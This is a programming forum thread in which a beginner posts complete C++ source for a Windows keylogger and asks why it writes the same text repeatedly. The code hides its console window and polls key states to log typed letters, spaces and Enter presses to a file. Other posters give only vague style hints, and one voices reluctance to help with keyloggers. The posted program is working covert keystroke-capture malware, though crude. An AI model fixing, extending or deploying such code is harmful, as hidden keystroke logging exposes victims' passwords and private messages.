Keylogger (Not hacking, just learning)

[apache1649]

Ok, so I have made a keylogger in C++, and it has a single large error. It prints the string that is typed into a text file, however, it does this repeatedly. If i type four characters, the text file usually ends up around 14,000 kb. Not good. Here's my code, anyone who can help, please do so. Also, I am not dong this for hacking purposes. I am simply trying to learn, and a friend of mine said this was relatively easy.

#include <stdio.h>
#include <conio.h>
#include <unistd.h>
#include <dos.h>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

int main()
{
    string log;
    string logString = "";
    ofstream myFile("log.txt");    
    FreeConsole();
    nextChar:
    while(true)
    {
          if(GetAsyncKeyState(0x41))
          {
              cout << "a";
              log = "a";
              logString = logString + log;
              Sleep(500);
               break;
          };
    
          if(GetAsyncKeyState(0x42))
          {
              cout << "b";
              log = "b";
              logString = logString + log;
              Sleep(500);
               break;
          };
    
          if(GetAsyncKeyState(0x43))
          {
              cout << "c";
              log = "c";
              logString = logString + log;              
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x44))
          {
              cout << "d";
              log = "d";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x45))
          {
              cout << "e";
              log = "e";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x46))
          {
              cout << "f";
              log = "f";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x47))
          {
              cout << "g";
              log = "g";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x48))
          {
              cout << "h";
              log = "h";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x49))
          {
              cout << "i";
              log = "i";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4A))
          {
              cout << "j";
              log = "j";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4B))
          {
              cout << "k";
              log = "k";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4C))
          {
              cout << "l";
              log = "l";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4D))
          {
              cout << "m";
              log = "m";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4E))
          {
              cout << "n";
              log = "n";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4F))
          {
              cout << "o";
              log = "o";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x50))
          {
              cout << "p";
              log = "p";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x51))
          {
              cout << "q";
              log = "q";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x52))
          {
              cout << "r";
              log = "r";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x53))
          {
              cout << "s";
              log = "s";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x54))
          {
              cout << "t";
              log = "t";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x55))
          {
              cout << "u";
              log = "u";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x56))
          {
              cout << "v";
              log = "v";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x57))
          {
              cout << "w";
              log = "w";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x58))
          {
              cout << "x";
              log = "x";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x59))
          {
              cout << "y";
              log = "y";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x5A))
          {
              cout << "z";
              log = "z";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(VK_SPACE))
          {
              cout << " ";
              log = " ";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x6E))
          {
              cout << ".";
              log = ".";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x0d))
          {
              cout << "\n";
              log = "<br>";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
    };
    myFile << logString;    
    goto nextChar;
    return 0;
}

[Albatross]

This is actually pretty simple to fix, although I'm hesitant to help anyone who wishes to write a key-logger for almost any purpose.

Therefore, I'll give the following bit of obscure advice: all of your if statements need to have an else if statement.

-Albatross

[apache1649]

thanks, ill figure it out. that should be enough for me. also, i edited the code a bit... is this any better at all?

[Albatross]

I still see a superfluous goto. You may want to get rid of that. :)

-Albatross

[apache1649]

Would I then send the string to the text file inside the loop?

[Albatross]

You can just use another infinite while-loop, no? That way, you'll improve readability a lot.

Furthermore, you have a *lot* of duplicated code much of which could be gotten rid of with a for-loop and a function. In the case of the correct solution, you might also need an array.

-Albatross

[apache1649]

Ok, thanks. I would have used a for loop, but I haven't looked at them much, so I don't know if they are the same as in Java. As for the array, is it just "String varName[] = new String[];"?

[Albatross]

Nah. The array I'm talking about would be fixed-length, and not of the std::string or std::wstring type. The for loop in C++ is the same as in Java, though, IIRC.

Also, please don't try any dynamic allocation in C++ before you're ready for it, especially if you have a Java background.

-Albatross

[apache1649]

Ok, thank you for warning me

[apache1649]

Also, can you tell me the key states for 1-9 (both on the row and the pad), Shift, and the symbols above 1-9?

[LB]

If you're going to make a key logger, why do you need to know which key is which? Unless you want to actually INTERPRET the log of keys...

[apache1649]

This is a learning experience for me, and if there is something I can learn in the process of writing this, I want to do it. Like I said, I'm just learning the language. I'm not looking for extreme efficiency right now. I'm looking to get as much knowledge out of the program as possible.